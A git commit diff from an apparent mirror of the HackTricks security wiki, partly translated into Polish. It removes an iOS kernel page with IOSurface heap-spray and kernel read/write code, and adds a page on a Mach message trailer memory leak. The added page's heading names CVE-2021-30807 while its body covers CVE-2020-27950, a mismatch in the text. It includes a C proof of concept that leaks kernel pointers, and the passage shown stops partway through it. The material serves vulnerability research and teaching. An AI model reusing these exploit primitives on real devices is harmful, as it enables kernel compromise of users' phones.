mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_
This commit is contained in:
parent
af63f8a362
commit
93584888f3
@ -768,7 +768,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -838,7 +838,7 @@
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
|
@ -1,208 +0,0 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Fizyczne użycie po zwolnieniu
|
||||
|
||||
To jest podsumowanie z posta z [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), ponadto dalsze informacje na temat wykorzystania tej techniki można znaleźć w [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Zarządzanie pamięcią w XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
**Wirtualna przestrzeń adresowa pamięci** dla procesów użytkownika na iOS rozciąga się od **0x0 do 0x8000000000**. Jednak te adresy nie są bezpośrednio mapowane do pamięci fizycznej. Zamiast tego, **jądro** używa **tabel stron** do tłumaczenia adresów wirtualnych na rzeczywiste **adresy fizyczne**.
|
||||
|
||||
#### Poziomy tabel stron w iOS
|
||||
|
||||
Tabele stron są zorganizowane hierarchicznie w trzech poziomach:
|
||||
|
||||
1. **Tabela stron L1 (Poziom 1)**:
|
||||
* Każdy wpis tutaj reprezentuje duży zakres pamięci wirtualnej.
|
||||
* Pokrywa **0x1000000000 bajtów** (lub **256 GB**) pamięci wirtualnej.
|
||||
2. **Tabela stron L2 (Poziom 2)**:
|
||||
* Wpis tutaj reprezentuje mniejszy obszar pamięci wirtualnej, konkretnie **0x2000000 bajtów** (32 MB).
|
||||
* Wpis L1 może wskazywać na tabelę L2, jeśli nie może samodzielnie zmapować całego obszaru.
|
||||
3. **Tabela stron L3 (Poziom 3)**:
|
||||
* To jest najdrobniejszy poziom, gdzie każdy wpis mapuje pojedynczą stronę pamięci **4 KB**.
|
||||
* Wpis L2 może wskazywać na tabelę L3, jeśli potrzebna jest bardziej szczegółowa kontrola.
|
||||
|
||||
#### Mapowanie pamięci wirtualnej na fizyczną
|
||||
|
||||
* **Bezpośrednie mapowanie (Mapowanie blokowe)**:
|
||||
* Niektóre wpisy w tabeli stron bezpośrednio **mapują zakres adresów wirtualnych** na ciągły zakres adresów fizycznych (jak skrót).
|
||||
* **Wskaźnik do tabeli stron podrzędnych**:
|
||||
* Jeśli potrzebna jest dokładniejsza kontrola, wpis na jednym poziomie (np. L1) może wskazywać na **tabelę stron podrzędnych** na następnym poziomie (np. L2).
|
||||
|
||||
#### Przykład: Mapowanie adresu wirtualnego
|
||||
|
||||
Załóżmy, że próbujesz uzyskać dostęp do adresu wirtualnego **0x1000000000**:
|
||||
|
||||
1. **Tabela L1**:
|
||||
* Jądro sprawdza wpis w tabeli stron L1 odpowiadający temu adresowi wirtualnemu. Jeśli ma **wskaźnik do tabeli stron L2**, przechodzi do tej tabeli L2.
|
||||
2. **Tabela L2**:
|
||||
* Jądro sprawdza tabelę stron L2 w poszukiwaniu bardziej szczegółowego mapowania. Jeśli ten wpis wskazuje na **tabelę stron L3**, przechodzi tam.
|
||||
3. **Tabela L3**:
|
||||
* Jądro przeszukuje końcowy wpis L3, który wskazuje na **adres fizyczny** rzeczywistej strony pamięci.
|
||||
|
||||
#### Przykład mapowania adresu
|
||||
|
||||
Jeśli zapiszesz adres fizyczny **0x800004000** w pierwszym indeksie tabeli L2, to:
|
||||
|
||||
* Adresy wirtualne od **0x1000000000** do **0x1002000000** mapują się na adresy fizyczne od **0x800004000** do **0x802004000**.
|
||||
* To jest **mapowanie blokowe** na poziomie L2.
|
||||
|
||||
Alternatywnie, jeśli wpis L2 wskazuje na tabelę L3:
|
||||
|
||||
* Każda strona 4 KB w zakresie adresów wirtualnych **0x1000000000 -> 0x1002000000** byłaby mapowana przez indywidualne wpisy w tabeli L3.
|
||||
|
||||
### Fizyczne użycie po zwolnieniu
|
||||
|
||||
**Fizyczne użycie po zwolnieniu** (UAF) występuje, gdy:
|
||||
|
||||
1. Proces **alokuje** pewną pamięć jako **czytelną i zapisywalną**.
|
||||
2. **Tabele stron** są aktualizowane, aby mapować tę pamięć do konkretnego adresu fizycznego, do którego proces ma dostęp.
|
||||
3. Proces **zwalnia** (uwalnia) pamięć.
|
||||
4. Jednak z powodu **błędu** jądro **zapomina usunąć mapowanie** z tabel stron, mimo że oznacza odpowiadającą pamięć fizyczną jako wolną.
|
||||
5. Jądro może następnie **ponownie przydzielić tę "zwolnioną" pamięć fizyczną** do innych celów, takich jak **dane jądra**.
|
||||
6. Ponieważ mapowanie nie zostało usunięte, proces może nadal **czytać i pisać** do tej pamięci fizycznej.
|
||||
|
||||
Oznacza to, że proces może uzyskać dostęp do **stron pamięci jądra**, które mogą zawierać wrażliwe dane lub struktury, co potencjalnie pozwala atakującemu na **manipulację pamięcią jądra**.
|
||||
|
||||
### Strategia eksploatacji: Spray na stercie
|
||||
|
||||
Ponieważ atakujący nie może kontrolować, które konkretne strony jądra będą przydzielane do zwolnionej pamięci, używają techniki zwanej **heap spray**:
|
||||
|
||||
1. Atakujący **tworzy dużą liczbę obiektów IOSurface** w pamięci jądra.
|
||||
2. Każdy obiekt IOSurface zawiera **magiczna wartość** w jednym ze swoich pól, co ułatwia identyfikację.
|
||||
3. **Skanują zwolnione strony**, aby sprawdzić, czy którykolwiek z tych obiektów IOSurface wylądował na zwolnionej stronie.
|
||||
4. Gdy znajdą obiekt IOSurface na zwolnionej stronie, mogą go użyć do **czytania i pisania pamięci jądra**.
|
||||
|
||||
Więcej informacji na ten temat w [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
### Proces sprayowania na stercie krok po kroku
|
||||
|
||||
1. **Spray obiektów IOSurface**: Atakujący tworzy wiele obiektów IOSurface z specjalnym identyfikatorem ("magiczna wartość").
|
||||
2. **Skanowanie zwolnionych stron**: Sprawdzają, czy którykolwiek z obiektów został przydzielony na zwolnionej stronie.
|
||||
3. **Czytanie/Pisanie pamięci jądra**: Manipulując polami w obiekcie IOSurface, uzyskują możliwość wykonywania **dowolnych odczytów i zapisów** w pamięci jądra. To pozwala im:
|
||||
* Używać jednego pola do **czytania dowolnej wartości 32-bitowej** w pamięci jądra.
|
||||
* Używać innego pola do **zapisywania wartości 64-bitowych**, osiągając stabilny **prymityw odczytu/zapisu jądra**.
|
||||
|
||||
Generuj obiekty IOSurface z magiczną wartością IOSURFACE_MAGIC, aby później je wyszukiwać:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
Szukaj obiektów **`IOSurface`** w jednej zwolnionej stronie fizycznej:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Osiąganie odczytu/zapisu w jądrze z IOSurface
|
||||
|
||||
Po uzyskaniu kontroli nad obiektem IOSurface w pamięci jądra (mapowanym na zwolnioną stronę fizyczną dostępną z przestrzeni użytkownika), możemy go użyć do **dowolnych operacji odczytu i zapisu w jądrze**.
|
||||
|
||||
**Kluczowe pola w IOSurface**
|
||||
|
||||
Obiekt IOSurface ma dwa kluczowe pola:
|
||||
|
||||
1. **Wskaźnik liczby użyć**: Umożliwia **odczyt 32-bitowy**.
|
||||
2. **Wskaźnik znaczników czasowych**: Umożliwia **zapis 64-bitowy**.
|
||||
|
||||
Poprzez nadpisanie tych wskaźników, przekierowujemy je do dowolnych adresów w pamięci jądra, co umożliwia operacje odczytu/zapisu.
|
||||
|
||||
#### Odczyt 32-bitowy w jądrze
|
||||
|
||||
Aby wykonać odczyt:
|
||||
|
||||
1. Nadpisz **wskaźnik liczby użyć**, aby wskazywał na docelowy adres minus offset 0x14 bajtów.
|
||||
2. Użyj metody `get_use_count`, aby odczytać wartość pod tym adresem.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
Aby wykonać zapis:
|
||||
|
||||
1. Nadpisz **wskaźnik znaczników indeksowanych** na docelowy adres.
|
||||
2. Użyj metody `set_indexed_timestamp`, aby zapisać 64-bitową wartość.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Podsumowanie przepływu exploitów
|
||||
|
||||
1. **Wywołaj fizyczne Use-After-Free**: Zwolnione strony są dostępne do ponownego użycia.
|
||||
2. **Spray obiektów IOSurface**: Przydziel wiele obiektów IOSurface z unikalną "magiczną wartością" w pamięci jądra.
|
||||
3. **Zidentyfikuj dostępny IOSurface**: Zlokalizuj IOSurface na zwolnionej stronie, którą kontrolujesz.
|
||||
4. **Wykorzystaj Use-After-Free**: Zmodyfikuj wskaźniki w obiekcie IOSurface, aby umożliwić dowolne **odczyty/zapisy jądra** za pomocą metod IOSurface.
|
||||
|
||||
Dzięki tym prymitywom, exploit zapewnia kontrolowane **odczyty 32-bitowe** i **zapisy 64-bitowe** do pamięci jądra. Dalsze kroki jailbreak mogą obejmować bardziej stabilne prymitywy odczytu/zapisu, które mogą wymagać ominięcia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e).
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -0,0 +1,332 @@
|
||||
# CVE-2021-30807: IOMobileFrameBuffer OOB
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Błąd
|
||||
|
||||
Masz [świetne wyjaśnienie tej podatności tutaj](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ale w skrócie:
|
||||
|
||||
Każda wiadomość Mach, którą otrzymuje kernel, kończy się **„trailerem”**: strukturą o zmiennej długości zawierającą metadane (seqno, sender token, audit token, context, access control data, labels...). Kernel **zawsze rezerwuje największy możliwy „trailer”** (MAX_TRAILER_SIZE) w buforze wiadomości, ale **inicjalizuje tylko niektóre pola**, a następnie **decyduje, który rozmiar „traileru” zwrócić** na podstawie **opcji odbioru kontrolowanych przez użytkownika**.
|
||||
|
||||
To są struktury traileru istotne dla sprawy:
|
||||
```c
|
||||
typedef struct{
|
||||
mach_msg_trailer_type_t msgh_trailer_type;
|
||||
mach_msg_trailer_size_t msgh_trailer_size;
|
||||
} mach_msg_trailer_t;
|
||||
|
||||
typedef struct{
|
||||
mach_msg_trailer_type_t msgh_trailer_type;
|
||||
mach_msg_trailer_size_t msgh_trailer_size;
|
||||
mach_port_seqno_t msgh_seqno;
|
||||
security_token_t msgh_sender;
|
||||
audit_token_t msgh_audit;
|
||||
mach_port_context_t msgh_context;
|
||||
int msgh_ad;
|
||||
msg_labels_t msgh_labels;
|
||||
} mach_msg_mac_trailer_t;
|
||||
|
||||
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
|
||||
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
||||
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
||||
```
|
||||
Następnie, gdy obiekt trailer jest generowany, tylko niektóre pola są inicjalizowane, a maksymalny rozmiar trailer jest zawsze zarezerwowany:
|
||||
```c
|
||||
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
||||
trailer->msgh_sender = current_thread()->task->sec_token;
|
||||
trailer->msgh_audit = current_thread()->task->audit_token;
|
||||
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
|
||||
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
|
||||
[...]
|
||||
trailer->msgh_labels.sender = 0;
|
||||
```
|
||||
Na przykład, przy próbie odczytania wiadomości Mach za pomocą `mach_msg()` wywoływana jest funkcja `ipc_kmsg_add_trailer()`, która dołącza trailer do wiadomości. W tej funkcji obliczana jest wielkość trailera i wypełniane są inne pola trailera:
|
||||
```c
|
||||
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
||||
return trailer->msgh_trailer_size;
|
||||
}
|
||||
|
||||
trailer->msgh_seqno = seqno;
|
||||
trailer->msgh_context = context;
|
||||
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
||||
```
|
||||
Parametr `option` jest kontrolowany przez użytkownika, więc **należy przekazać wartość, która przejdzie sprawdzenie `if`.**
|
||||
|
||||
Aby przejść to sprawdzenie, musimy wysłać prawidłowy obsługiwany `option`:
|
||||
```c
|
||||
#define MACH_RCV_TRAILER_NULL 0
|
||||
#define MACH_RCV_TRAILER_SEQNO 1
|
||||
#define MACH_RCV_TRAILER_SENDER 2
|
||||
#define MACH_RCV_TRAILER_AUDIT 3
|
||||
#define MACH_RCV_TRAILER_CTX 4
|
||||
#define MACH_RCV_TRAILER_AV 7
|
||||
#define MACH_RCV_TRAILER_LABELS 8
|
||||
|
||||
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
|
||||
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
||||
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
||||
```
|
||||
Ale ponieważ `MACH_RCV_TRAILER_MASK` jedynie sprawdza bity, możemy przekazać dowolną wartość między `0` a `8`, żeby nie wejść do instrukcji `if`.
|
||||
|
||||
Następnie, kontynuując analizę kodu, znajdziesz:
|
||||
```c
|
||||
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
|
||||
trailer->msgh_ad = 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* The ipc_kmsg_t holds a reference to the label of a label
|
||||
* handle, not the port. We must get a reference to the port
|
||||
* and a send right to copyout to the receiver.
|
||||
*/
|
||||
|
||||
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
|
||||
trailer->msgh_labels.sender = 0;
|
||||
}
|
||||
|
||||
done:
|
||||
#ifdef __arm64__
|
||||
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
|
||||
#endif /* __arm64__ */
|
||||
|
||||
return trailer->msgh_trailer_size;
|
||||
```
|
||||
Gdzie widać, że jeśli wartość `option` jest większa lub równa `MACH_RCV_TRAILER_AV` (7), pole **`msgh_ad`** jest inicjalizowane na `0`.
|
||||
|
||||
Jak zauważyłeś, **`msgh_ad`** wciąż było jedynym polem traileru, które nie zostało wcześniej zainicjalizowane i mogło zawierać leak z wcześniej użytej pamięci.
|
||||
|
||||
Zatem, aby uniknąć jego inicjalizacji, należy przekazać wartość `option` równą `5` lub `6`, tak aby przeszła pierwszy warunek `if` i nie weszła w ten `if`, który inicjalizuje `msgh_ad`, ponieważ wartości `5` i `6` nie mają przypisanego żadnego typu traileru.
|
||||
|
||||
### Basic PoC
|
||||
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
|
||||
|
||||
### Leak Kernel Address PoC
|
||||
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Therefore, sending tens of these structs in the message in kernel will mean to **doda kilka adresów kernelowych do wiadomości**, so one of them can be leaked.
|
||||
|
||||
Dodano komentarze dla lepszego zrozumienia:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
// Number of OOL port descriptors in the "big" message.
|
||||
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
|
||||
#define LEAK_PORTS 50
|
||||
|
||||
// "Big" message: many descriptors → larger descriptor array in kmsg
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
|
||||
} message_big_t;
|
||||
|
||||
// "Small" message: fewer descriptors → leaves more room for the trailer
|
||||
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
|
||||
} message_small_t;
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
mach_port_t port; // our local receive port (target of sends)
|
||||
mach_port_t sent_port; // the port whose kernel address we want to leak
|
||||
|
||||
/*
|
||||
* 1) Create a receive right and attach a send right so we can send to ourselves.
|
||||
* This gives us predictable control over ipc_kmsg allocations when we send.
|
||||
*/
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
/*
|
||||
* 2) Create another receive port (sent_port). We'll reference this port
|
||||
* in OOL descriptors so the kernel stores pointers to its ipc_port
|
||||
* structure in the kmsg → those pointers are what we aim to leak.
|
||||
*/
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
|
||||
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
printf("[*] Will get port %x address\n", sent_port);
|
||||
|
||||
message_big_t *big_message = NULL;
|
||||
message_small_t *small_message = NULL;
|
||||
|
||||
// Compute userland sizes of our message structs
|
||||
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
|
||||
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
|
||||
|
||||
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
|
||||
big_message = malloc(big_size + MAX_TRAILER_SIZE);
|
||||
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
|
||||
|
||||
/*
|
||||
* 3) Prepare the "big" message:
|
||||
* - Complex bit set (has descriptors)
|
||||
* - 50 OOL port descriptors, all pointing to the same sent_port
|
||||
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
|
||||
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
|
||||
*/
|
||||
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
|
||||
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
|
||||
|
||||
big_message->header.msgh_remote_port = port; // send to our receive right
|
||||
big_message->header.msgh_size = big_size;
|
||||
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
|
||||
| MACH_MSGH_BITS_COMPLEX;
|
||||
big_message->body.msgh_descriptor_count = LEAK_PORTS;
|
||||
|
||||
for (int i = 0; i < LEAK_PORTS; i++) {
|
||||
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
|
||||
}
|
||||
|
||||
/*
|
||||
* 4) Prepare the "small" message:
|
||||
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
|
||||
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
|
||||
*/
|
||||
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
|
||||
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
|
||||
|
||||
small_message->header.msgh_remote_port = port;
|
||||
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
|
||||
| MACH_MSGH_BITS_COMPLEX;
|
||||
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
|
||||
|
||||
for (int i = 0; i < LEAK_PORTS - 10; i++) {
|
||||
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
small_message->sent_ports[i].name = sent_port;
|
||||
}
|
||||
|
||||
/*
|
||||
* 5) Receive buffer for reading back messages with trailers.
|
||||
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
|
||||
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
|
||||
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
|
||||
*/
|
||||
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
|
||||
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
|
||||
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
|
||||
|
||||
/*
|
||||
* ---------- Exploitation sequence ----------
|
||||
*
|
||||
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
|
||||
* kernel pointers (ipc_port*) in its descriptor array.
|
||||
*/
|
||||
printf("[*] Sending message 1\n");
|
||||
mach_msg(&big_message->header,
|
||||
MACH_SEND_MSG,
|
||||
big_size, // send size
|
||||
0, // no receive
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step B: Immediately receive/discard it with a zero-sized buffer.
|
||||
* This frees the kalloc chunk without copying descriptors back,
|
||||
* leaving the kernel pointers resident in freed memory (stale).
|
||||
*/
|
||||
printf("[*] Discarding message 1\n");
|
||||
mach_msg((mach_msg_header_t *)0,
|
||||
MACH_RCV_MSG, // try to receive
|
||||
0, // send size 0
|
||||
0, // recv size 0 (forces error/free path)
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
|
||||
* We slightly bump msgh_size by +4 so that when the kernel appends
|
||||
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
|
||||
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
|
||||
*/
|
||||
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
|
||||
printf("[*] Sending message 2\n");
|
||||
mach_msg(&small_message->header,
|
||||
MACH_SEND_MSG,
|
||||
small_size + sizeof(uint32_t),
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step D: Receive message 2 and request an invalid trailer elements value (5).
|
||||
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
|
||||
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
|
||||
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
|
||||
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
|
||||
*/
|
||||
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
|
||||
printf("[*] Reading back message 2\n");
|
||||
mach_msg((mach_msg_header_t *)buffer,
|
||||
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
|
||||
0,
|
||||
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
// Trailer begins right after the message body we sent (small_size + 4)
|
||||
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
|
||||
|
||||
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
|
||||
sent_port_address |= (uint32_t)trailer->msgh_ad;
|
||||
|
||||
/*
|
||||
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
|
||||
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
|
||||
*/
|
||||
printf("[*] Sending message 3\n");
|
||||
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
|
||||
printf("[*] Discarding message 3\n");
|
||||
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
|
||||
// add another +4 to msgh_size → total +8 shift from the baseline
|
||||
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
|
||||
printf("[*] Sending message 4\n");
|
||||
mach_msg(&small_message->header,
|
||||
MACH_SEND_MSG,
|
||||
small_size + sizeof(uint32_t)*2,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
